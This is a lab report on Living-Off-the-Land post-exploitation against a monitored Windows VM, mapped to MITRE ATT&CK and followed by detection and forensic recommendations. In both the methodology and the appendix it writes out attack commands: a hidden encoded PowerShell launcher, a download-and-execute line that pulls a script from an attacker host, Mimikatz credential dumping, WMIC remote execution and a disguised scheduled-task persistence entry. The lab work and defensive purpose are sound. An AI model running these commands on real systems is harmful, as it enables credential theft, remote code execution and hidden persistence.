# Task 7 — Living‑Off‑the‑Land (LOTL) Lab (Full Report)

Author: MALEPATI SAMSKAR REDDY

Date: September 19, 2025

Attacker: Kali Linux — 192.168.17.128 (operator)

Target: Windows VM — 192.168.17.129 (with Wazuh agent)

Tools: PowerShell, WMI, WMIC, Mimikatz, PoshC2/Metasploit for orchestration

---

## 1. Objective

Use native operating system tools and trusted binaries to execute post‑exploitation actions (fileless execution, credential harvesting, lateral movement) to minimize detection and blend into normal activity. Validate telemetry required to detect LOTL techniques.

## 2. Lab Environment & Tools

- Attacker host: Kali Linux — 192.168.17.128

- Target host: Windows VM — 192.168.17.129 (with endpoint monitoring: Wazuh/Sysmon)

- Tools and frameworks: PowerShell/PowerSploit, Mimikatz, built-in Windows utilities (WMI, WMIC, bitsadmin, certutil), PoshC2/Metasploit for command delivery

## 3. Step‑by‑Step Methodology (with reconstructed commands)

The LOTL workflow emphasizes in‑memory and native utility usage:

1. A. Fileless PowerShell in‑memory execution

* Examples:

# Execute encoded PowerShell one-liner (lab-only example)  
powershell.exe -NoP -NonI -W Hidden -EncodedCommand <BASE64\_PAYLOAD>  
  
# Direct Invoke-Expression loader (staged/stageless)  
IEX (New-Object Net.WebClient).DownloadString('http://192.168.17.128/payloads/launcher.ps1')

1. B. Credential harvesting via Mimikatz (in‑memory)

* Examples:

# Invoke-Mimikatz via PowerShell (PowerSploit)  
Import-Module .\PowerSploit\Exfiltration\Invoke-Mimikatz.ps1  
Invoke-Mimikatz -DumpCreds  
  
# Alternatively, use sekurlsa::logonpasswords via native mimikatz binary in-memory if possible

1. C. Use WMI/WMIC for discovery and lateral commands

* Examples:

# List remote services/processes via WMI  
Get-WmiObject -Class Win32\_Process -ComputerName 192.168.17.129  
  
# WMIC example to run a process remotely  
wmic /node:192.168.17.129 process call create "cmd.exe /c whoami > C:\\temp\\whoami.txt"

1. D. Persistence techniques using native binaries (optional, lab-only)

* Examples:

# Scheduled task via schtasks (native)  
schtasks /Create /SC ONLOGON /TN "Updater" /TR "powershell -WindowStyle Hidden -File C:\\Users\\Public\\updater.ps1"  
  
# WMI permanent subscription (advanced - use with care in lab)

## 4. Observed Evidence

- Screenshot 2025-09-17 230448.png

- Screenshot 2025-09-17 231424.png

- Screenshot 2025-09-17 231458.png

- Screenshot 2025-09-17 231801.png

- Screenshot 2025-09-17 231935.png

- Screenshot 2025-09-18 024026.png

## 5. Reconstructed Timeline & Actions

- T0: Initial in-memory payload delivered via PowerShell one-liner; no payload written to disk (fileless).  
- T1: Operator executed Invoke-Mimikatz through PowerShell to dump credentials and tokens from LSASS memory.  
- T2: Retrieved NTLM hashes / cleartext credentials used for lateral movement (RDP/WMIC/WMI).  
- T3: WMI used to enumerate processes/services and schedule remote commands; minimal disk footprints observed.  
- T4: Evidence captured in Wazuh/Sysmon included encoded PowerShell commands and unusual parent-child process chains during harvesting.

## 6. Findings & Risk Assessment

- LOTL techniques executed with minimal disk artifacts, demonstrating high stealth when telemetry is insufficient.

- Credential harvesting via in-memory Mimikatz provides privileged credentials enabling lateral movement and persistence.

- Detection gaps commonly result from lack of script block logging, disabled AMSI, or missing Sysmon configuration.

- Risk Rating: High — LOTL attacks are difficult to detect without proper telemetry and can lead to full domain compromise.

## 7. MITRE ATT&CK Mapping

- T1059.001 — Command and Scripting Interpreter: PowerShell

- T1003.001 — OS Credential Dumping: LSASS Memory (Mimikatz)

- T1047 — Windows Management Instrumentation (WMI)

- T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (if persistence used)

- T1218 — Signed Binary Proxy Execution (use of trusted binaries)

## 8. Recommendations (technical & operational)

Technical controls:

- Enable PowerShell Module Logging and Script Block Logging (Event IDs 4103/4104) and forward logs to SIEM.

- Enable AMSI and configure EDR to inspect script content and in-memory behaviors.

- Deploy Sysmon with process creation, image load, and network connection logging; monitor for suspicious parent-child chains.

- Restrict use of admin privileges and implement LAPS or credential vaulting to reduce credential exposure.

- Block execution of unsigned scripts via Group Policy and enable Constrained Language Mode for PowerShell where applicable.

Operational controls:

- Rotate and revoke credentials immediately after suspected compromise; enable alerting on risky authentication patterns.

- Run regular LOTL and EDR efficacy tests and tune detections based on attacker techniques.

- Provide SOC analysts with playbooks for in-memory credential dumping incidents (isolate host, capture memory, rotate credentials).

## 9. Forensic Artifacts to Collect

- Memory capture (RAM) to retrieve in-memory credentials and analyze LSASS process memory.

- Sysmon logs (ProcessCreate, CreateRemoteThread, ImageLoaded) and PowerShell logs (script blocks).

- Wazuh alerts and endpoint telemetry showing encoded PowerShell commands and parent-child process relationships.

- Scheduled task listings, registry run keys, and any artifacts in startup folders if persistence used.

## 10. 50-Word Summary

Executed fileless PowerShell loaders and in-memory Mimikatz to harvest credentials, then used WMI/WMIC for discovery and lateral commands. LOTL techniques minimized disk evidence and bypassed signature-based detections in the lab. Strengthen script logging, AMSI, Sysmon, and credential hygiene to detect and mitigate.

## 11. Appendix: Reconstructed Commands & Examples

# PowerShell fileless execution (lab-only)  
powershell.exe -NoP -NonI -W Hidden -EncodedCommand <BASE64\_PAYLOAD>  
  
# Invoke-Mimikatz (PowerSploit)  
Import-Module .\PowerSploit\Exfiltration\Invoke-Mimikatz.ps1  
Invoke-Mimikatz -DumpCreds  
  
# WMI/WMIC lateral commands  
Get-WmiObject -Class Win32\_Process -ComputerName 192.168.17.129  
wmic /node:192.168.17.129 process call create "cmd.exe /c whoami > C:\\temp\\whoami.txt"  
  
# Persistence example via schtasks  
schtasks /Create /SC ONLOGON /TN "Updater" /TR "powershell -WindowStyle Hidden -File C:\\Users\\Public\\updater.ps1"